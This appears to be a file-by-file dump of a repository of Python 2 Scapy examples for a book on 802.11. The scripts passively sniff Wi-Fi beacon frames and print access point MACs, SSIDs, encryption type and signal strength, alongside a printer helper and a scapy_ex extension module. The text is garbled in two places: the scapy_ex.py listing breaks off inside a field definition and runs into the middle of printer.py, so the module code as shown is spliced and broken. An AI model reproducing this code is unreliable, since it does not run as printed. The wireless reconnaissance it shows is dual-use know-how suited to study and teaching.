enc = elt_rsn.enc 22 | cipher = elt_rsn.cipher 23 | auth = elt_rsn.auth 24 | else: 25 | enc = 'WEP' 26 | cipher = 'WEP' 27 | auth = '' 28 | else: 29 | enc = 'OPN' 30 | cipher = '' 31 | auth = '' 32 | 33 | print "AP MAC: %s with SSID: %s and security: %s %s %s" %(pkt.addr2, essid, enc, cipher, auth) 34 | 35 | sniff(iface=intfmon, prn = PacketHandler) 36 | 37 | -------------------------------------------------------------------------------- /ejemplo8.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*-​ 3 | import logging 4 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 5 | from scapy.all import * 6 | 7 | intfmon='mon0' 8 | 9 | pkt=sniff(iface=intfmon, lfilter=lambda pkt: (Dot11Beacon in pkt),count=1) 10 | print "\n Packet shown with scapy: \n" 11 | pkt[0].show() 12 | 13 | import scapy_ex 14 | 15 | pkt=sniff(iface=intfmon, lfilter=lambda pkt: (Dot11Beacon in pkt),count=1) 16 | print "\n Packet shown with scapy_ex imported: \n" 17 | pkt[0].show() 18 | 19 | 20 | -------------------------------------------------------------------------------- /ejemplo9.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*-​ 3 | import logging 4 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 5 | from scapy.all import * 6 | import scapy_ex 7 | 8 | intfmon = 'mon0' ### Just monitor VAP interface (mon0) 9 | mac2search = '98:fc:11:b5:3c:b4' ### BSSID of ap to search or client MAC 10 | showall=True ## show all APs (True or False) 11 | avgcache=10 ### Number of elements to keep in cache for average calculation 12 | maxpower=0 ; minpower=100 ; avgpower=0 ; avglist=[] ; essid='' ; channel=0 13 | 14 | def PacketHandler(pkt): 15 | if pkt.haslayer(Dot11Beacon): 16 | bssid = pkt[Dot11].addr3 17 | if bssid.upper() == mac2search.upper() or showall: 18 | essid = pkt[Dot11].essid() 19 | channel = pkt[Dot11].channel() or pkt[RadioTap].Channel 20 | rates = pkt[Dot11].rates() 21 | powervalues=[0,0,0] 22 | if pkt[RadioTap].dBm_AntSignal: 23 | power = 100 - abs(int(pkt[RadioTap].dBm_AntSignal)) 24 | powervalues=calcavg(power) 25 | else: 26 | return 27 | print "ESSID: %s BSSID: %s RATES: %s PWR: %s(%s<%s>%s)" \ 28 | %(essid,bssid,rates,power,powervalues[0],powervalues[1],powervalues[2]) 29 | 30 | def calcavg(power): 31 | # avg function 32 | global maxpower, minpower, avgpower, avglist 33 | if len(avglist) >= avgcache: avglist.pop(0) 34 | avglist.append(power) 35 | avgpower = sum(avglist) / len(avglist) 36 | if power > maxpower: maxpower = power 37 | if power < minpower: minpower = power 38 | return [ minpower, avgpower, maxpower ] 39 | 40 | sniff(iface=intfmon, prn=PacketHandler, store=False,lfilter=lambda pkt: (Dot11 in pkt)) 41 | -------------------------------------------------------------------------------- /libraries/printer.py: -------------------------------------------------------------------------------- 1 | """ 2 | Define a singleton that handles basic output 3 | """ 4 | import sys 5 | import traceback 6 | 7 | class Printer: 8 | """A class for printing messages that respects verbosity levels""" 9 | verbose_level = 0 10 | 11 | @staticmethod 12 | def verbose(message, verbose_level=1): 13 | """Print a message only if it is within an acceptabe verbosity level""" 14 | if Printer.verbose_level >= verbose_level: 15 | sys.stdout.write(message) 16 | sys.stdout.write('\n') 17 | 18 | @staticmethod 19 | def write(message): 20 | """Write a message to stdout""" 21 | sys.stdout.write(message) 22 | sys.stdout.write('\n') 23 | 24 | @staticmethod 25 | def error(message): 26 | """Write a message to stderr""" 27 | sys.stderr.write(message) 28 | sys.stderr.write('\n') 29 | 30 | @staticmethod 31 | def exception(e): 32 | """Write a summary of an exception with a stack trace""" 33 | Printer.error(repr(e)) 34 | traceback.print_exc(file=sys.stderr) 35 | 36 | 37 | -------------------------------------------------------------------------------- /libraries/printer.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yadox666/PythonScapyDot11_TheBook/09370e4e764099dc3399ece9442b98703860eb9d/libraries/printer.pyc -------------------------------------------------------------------------------- /libraries/scapy_ex.py: -------------------------------------------------------------------------------- 1 | """ 2 | A set of additions and modifications to scapy to assist in parsing dot11 3 | """ 4 | import scapy 5 | 6 | from scapy.fields import BitField 7 | from scapy.fields import ByteField 8 | from scapy.fields import ConditionalField 9 | from scapy.fields import EnumField 10 | from scapy.fields import Field 11 | from scapy.fields import FieldLenField 12 | from scapy.fields import FieldListField 13 | from scapy.fields import FlagsField 14 | from scapy.fields import LEFieldLenField 15 | from scapy.fields import LELongField 16 | from scapy.fields import LEShortField 17 | from scapy.fields import StrFixedLenField 18 | from scapy.layers.dot11 import Dot11Elt 19 | from scapy.layers.dot11 import Dot11ProbeReq 20 | from scapy.packet import Packet 21 | 22 | from printer import Printer 23 | 24 | 25 | class SignedByteField(Field): 26 | """Fields for a signed byte""" 27 | def __init__(self, name, default): 28 | Field.__init__(self, name, default, '= verbose_level: 15 | sys.stdout.write(message) 16 | sys.stdout.write('\n') 17 | 18 | @staticmethod 19 | def write(message): 20 | """Write a message to stdout""" 21 | sys.stdout.write(message) 22 | sys.stdout.write('\n') 23 | 24 | @staticmethod 25 | def error(message): 26 | """Write a message to stderr""" 27 | sys.stderr.write(message) 28 | sys.stderr.write('\n') 29 | 30 | @staticmethod 31 | def exception(e): 32 | """Write a summary of an exception with a stack trace""" 33 | Printer.error(repr(e)) 34 | traceback.print_exc(file=sys.stderr) 35 | 36 | 37 | -------------------------------------------------------------------------------- /printer.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yadox666/PythonScapyDot11_TheBook/09370e4e764099dc3399ece9442b98703860eb9d/printer.pyc -------------------------------------------------------------------------------- /scapy_ex.py: -------------------------------------------------------------------------------- 1 | """ 2 | A set of additions and modifications to scapy to assist in parsing dot11 3 | """ 4 | import scapy 5 | 6 | from scapy.fields import BitField 7 | from scapy.fields import ByteField 8 | from scapy.fields import ConditionalField 9 | from scapy.fields import EnumField 10 | from scapy.fields import Field 11 | from scapy.fields import FieldLenField 12 | from scapy.fields import FieldListField 13 | from scapy.fields import FlagsField 14 | from scapy.fields import LEFieldLenField 15 | from scapy.fields import LELongField 16 | from scapy.fields import LEShortField 17 | from scapy.fields import StrFixedLenField 18 | from scapy.layers.dot11 import Dot11Elt 19 | from scapy.layers.dot11 import Dot11ProbeReq 20 | from scapy.packet import Packet 21 | 22 | from printer import Printer 23 | 24 | 25 | class SignedByteField(Field): 26 | """Fields for a signed byte""" 27 | def __init__(self, name, default): 28 | Field.__init__(self, name, default, '